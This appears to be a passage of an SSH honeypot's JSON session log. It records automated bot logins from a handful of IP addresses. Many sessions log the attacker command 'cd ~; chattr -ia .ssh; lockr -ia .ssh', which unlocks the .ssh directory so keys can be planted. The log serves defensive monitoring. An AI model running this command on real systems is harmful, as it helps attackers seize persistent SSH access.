  "name": "lofty-pewter-flamingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 43286,
  "username": "user14",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:42:19.987082+00:00",
  "ended_at": "2026-08-27T11:42:21.125002+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0bd8baad-d0b6-4074-b70f-7d8fe8fc83a9",
  "name": "electric-fabled-kiwi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 47698,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:42:16.759281+00:00",
  "ended_at": "2026-08-27T11:42:18.363934+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f82edd59-1d77-4e21-aabc-38e643c9955c",
  "name": "steady-emerald-bobcat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 42768,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:41:54.297613+00:00",
  "ended_at": "2026-08-27T11:41:55.633851+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2150
 },
 {
  "id": "9eac5760-2272-4284-9c94-36fd1e49ffbb",
  "name": "umber-twilight-goshawk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 44376,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 265,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:41:40.284750+00:00",
  "ended_at": "2026-08-27T11:41:41.525679+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "c6f8436e-89fb-4634-9908-28427bbc3f72",
  "name": "quaint-cosmic-narwhal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 42790,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:41:38.616289+00:00",
  "ended_at": "2026-08-27T11:41:39.691768+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d1699b24-76cd-4ef6-8162-c818df8444ff",
  "name": "frank-feral-jay",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 42780,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:41:36.783589+00:00",
  "ended_at": "2026-08-27T11:41:37.959426+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "54294cd6-670b-4ab6-861c-0b29f6c10a55",
  "name": "keen-rustic-wagtail",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 44386,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:41:15.478804+00:00",
  "ended_at": "2026-08-27T11:41:16.852015+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7cb3331f-7b20-4bb9-a510-13575e2e5265",
  "name": "meadow-vernal-zebu",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 44380,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:41:13.557227+00:00",
  "ended_at": "2026-08-27T11:41:14.960513+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7d4b415a-43b3-43d8-a0cb-ff2a3ce124f5",
  "name": "hazel-buoyant-pelican",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 60424,
  "username": "cuckoo",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 295,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:41:12.249331+00:00",
  "ended_at": "2026-08-27T11:41:14.246162+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2110
 },
 {
  "id": "31d174b1-418d-451c-9d0b-0eaeaaf9e9e9",
  "name": "dusky-blazing-moorhen",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 60456,
  "username": "cuckoo",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:40:52.124123+00:00",
  "ended_at": "2026-08-27T11:40:53.758016+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d4a1bd90-8c1d-4d39-9c17-06a201bebb1b",
  "name": "bronzed-hollow-waxwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 60440,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:40:50.902080+00:00",
  "ended_at": "2026-08-27T11:40:51.546010+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3714f82b-a475-4738-8c29-603e0ca03865",
  "name": "hazy-merry-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59156,
  "username": "fs",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 448,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:40:03.459700+00:00",
  "ended_at": "2026-08-27T11:40:05.021398+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2221
 },
 {
  "id": "ae469160-671c-4a28-ba45-450fa52a6ad1",
  "name": "orderly-quartz-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 56544,
  "username": "radius",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1010,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:39:50.876941+00:00",
  "ended_at": "2026-08-27T11:39:53.188496+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2220
 },
 {
  "id": "6c88573f-8a22-4ed1-b088-8da98ed44743",
  "name": "sandy-rapid-falcon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59180,
  "username": "fs",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:39:46.361529+00:00",
  "ended_at": "2026-08-27T11:39:47.493538+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "361e572b-70bf-4a65-9398-c0652fd7cc6b",
  "name": "scarlet-merry-dolphin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59168,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:39:44.196211+00:00",
  "ended_at": "2026-08-27T11:39:45.470199+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3b68326b-5aa3-401b-bd27-1a060294ab3f",
  "name": "jovial-obsidian-kakapo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 49492,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 274,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:39:40.711783+00:00",
  "ended_at": "2026-08-27T11:39:41.785704+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "c7e5c538-5e71-4316-88a3-6cec527521d5",
  "name": "silent-gleaming-muntjac",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 38154,
  "username": "radius",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:39:22.242609+00:00",
  "ended_at": "2026-08-27T11:39:24.347879+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "86224a99-aacc-4095-838d-41b2726722ca",
  "name": "solar-lanky-sandpiper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 38138,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:39:18.959719+00:00",
  "ended_at": "2026-08-27T11:39:20.223338+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1cc17c7c-dda8-419b-925f-9e924ee6e7bf",
  "name": "smooth-murky-marmot",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 58368,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:39:16.675248+00:00",
  "ended_at": "2026-08-27T11:39:18.597651+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a2d21b7f-5ce7-496c-baa9-b573d778d7cc",
  "name": "rugged-eager-kingfisher",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 49496,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:39:14.899169+00:00",
  "ended_at": "2026-08-27T11:39:16.148922+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "faae66eb-6f6c-4422-bff1-f43d752da64c",
  "name": "burly-clever-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 60628,
  "username": "debian",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 294,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:39:06.381638+00:00",
  "ended_at": "2026-08-27T11:39:08.291010+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2107
 },
 {
  "id": "1b6fcaf2-7bd9-4e22-b224-dba5d5143c0c",
  "name": "sleepy-lucid-merlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 60652,
  "username": "debian",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:38:53.096185+00:00",
  "ended_at": "2026-08-27T11:38:53.796615+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1531b84e-0a84-41dc-b696-10e78449c18d",
  "name": "oaken-rustic-starling",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 60644,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:38:51.241544+00:00",
  "ended_at": "2026-08-27T11:38:52.496327+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8cfa3a5a-651c-4953-aec2-2d764a29de42",
  "name": "drifting-amiable-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 41464,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 329,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:38:02.282253+00:00",
  "ended_at": "2026-08-27T11:38:04.558531+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2139
 },
 {
  "id": "30bd727b-c2f6-4a58-b232-e3b74bfed317",
  "name": "frank-prairie-onager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 41486,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:37:47.599999+00:00",
  "ended_at": "2026-08-27T11:37:48.448226+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6292ff9a-9eca-44b2-a577-29397a8e49ad",
  "name": "loyal-tender-blackbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 41476,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:37:44.962057+00:00",
  "ended_at": "2026-08-27T11:37:46.659718+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cd3b0015-fb4b-40cd-99fa-6a8b36ea71d4",
  "name": "barren-gnarled-avocet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 37934,
  "username": "ram",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 280,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:37:42.249902+00:00",
  "ended_at": "2026-08-27T11:37:43.573831+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2246
 },
 {
  "id": "7721f4ad-4e82-489a-bbb8-fabdb93f19bd",
  "name": "steady-freckled-goshawk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59126,
  "username": "marco",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 457,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:37:28.743030+00:00",
  "ended_at": "2026-08-27T11:37:30.363744+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2211
 },
 {
  "id": "bfedcf37-8249-4912-8d27-b9092322714e",
  "name": "downy-tender-vulture",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 37948,
  "username": "ram",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:37:20.974922+00:00",
  "ended_at": "2026-08-27T11:37:21.764008+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4987e1cb-8c64-44df-92f7-a75cb92615d7",
  "name": "cheerful-umber-otter",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 37946,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:37:18.635570+00:00",
  "ended_at": "2026-08-27T11:37:20.449330+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "aabbf096-4217-4e17-88bf-ed63e4672b81",
  "name": "thrifty-umber-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 33370,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 301,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:37:15.360384+00:00",
  "ended_at": "2026-08-27T11:37:16.737688+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2096
 },
 {
  "id": "7d73f8c0-875f-4198-b988-604b073effbc",
  "name": "vernal-cunning-lorikeet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59152,
  "username": "marco",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:37:10.653926+00:00",
  "ended_at": "2026-08-27T11:37:12.109461+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c5040bd3-9ccb-42dd-8953-1418db31313d",
  "name": "pleasant-creaky-pika",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59138,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:37:08.316295+00:00",
  "ended_at": "2026-08-27T11:37:09.729003+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a113cc95-582b-4d2c-814c-e29448ae829b",
  "name": "lanky-civil-mallard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 46048,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:36:57.295595+00:00",
  "ended_at": "2026-08-27T11:36:59.200707+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cfc4bd2b-d7d2-4909-869e-dd8260b74390",
  "name": "cunning-bashful-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 54944,
  "username": "zsolt",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 733,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:36:56.632904+00:00",
  "ended_at": "2026-08-27T11:36:57.998390+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2206
 },
 {
  "id": "869d2462-044d-45f2-b29e-c414c442f332",
  "name": "rapid-fearless-blackbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 46044,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:36:55.202655+00:00",
  "ended_at": "2026-08-27T11:36:56.700372+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0159a5b6-b8fb-4ad4-a291-95b17c2b13d5",
  "name": "mindful-fleeting-fieldfare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 47672,
  "username": "zsolt",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:36:33.754902+00:00",
  "ended_at": "2026-08-27T11:36:35.080416+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2396ed89-2154-435f-8332-d1b021c1dc29",
  "name": "fierce-feathered-lapwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 47656,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:36:30.122746+00:00",
  "ended_at": "2026-08-27T11:36:32.236252+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cbd5b6dc-9f75-425d-995c-e3c96f367da3",
  "name": "thorny-humble-gannet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 58122,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 329,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:35:53.031371+00:00",
  "ended_at": "2026-08-27T11:35:54.476890+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2078
 },
 {
  "id": "972cfab2-cae0-46fa-8917-c5bc113c95f1",
  "name": "crystal-civil-mallard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 58178,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 275,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:35:38.853087+00:00",
  "ended_at": "2026-08-27T11:35:40.500507+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2246
 },
 {
  "id": "782746cf-f575-4776-b1d8-d75649b41f05",
  "name": "drifting-tranquil-stoat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 58138,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:35:37.753414+00:00",
  "ended_at": "2026-08-27T11:35:39.710735+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b09ccb2a-3af7-4298-95fb-7b961bf83b7e",
  "name": "northern-lunar-dingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 58126,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:35:36.053600+00:00",
  "ended_at": "2026-08-27T11:35:37.099961+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c6a8edee-05f4-4eb7-84f9-da2c45952ab5",
  "name": "idle-stoic-quokka",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 58196,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:35:13.431318+00:00",
  "ended_at": "2026-08-27T11:35:14.124879+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0ee2dc75-00d8-44cb-bb80-f67c2bde8732",
  "name": "shaded-thawing-panther",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 52936,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 304,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:35:12.681924+00:00",
  "ended_at": "2026-08-27T11:35:14.122034+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2128
 },
 {
  "id": "7fd364aa-e245-4671-8fca-0e93cdff628a",
  "name": "nameless-glacial-hyrax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 58192,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:35:12.300014+00:00",
  "ended_at": "2026-08-27T11:35:12.911744+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e0a19585-c39f-4eee-b233-1154fde4c862",
  "name": "verdant-ancient-bowerbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 40176,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:34:55.467089+00:00",
  "ended_at": "2026-08-27T11:34:57.398548+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0bb78e4b-048c-4272-af62-d25eb97e7c14",
  "name": "deft-dusty-addax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 52958,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:34:53.014665+00:00",
  "ended_at": "2026-08-27T11:34:54.867534+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "179f1b43-15f9-4ddc-bfe6-fc456e9b1d7a",
  "name": "gallant-arctic-chickadee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59104,
  "username": "user14",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 457,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:34:39.408017+00:00",
  "ended_at": "2026-08-27T11:34:40.897661+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2203
 },
 {
  "id": "b15736ba-104a-43d4-8a50-fdc02741c9fd",
  "name": "hearty-craggy-mole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59116,
  "username": "user14",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:34:20.355705+00:00",
  "ended_at": "2026-08-27T11:34:22.165361+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f087a340-f1ad-4e40-8fc6-be88f0749ff3",
  "name": "creaky-breezy-cormorant",
  "protocol": "ssh",
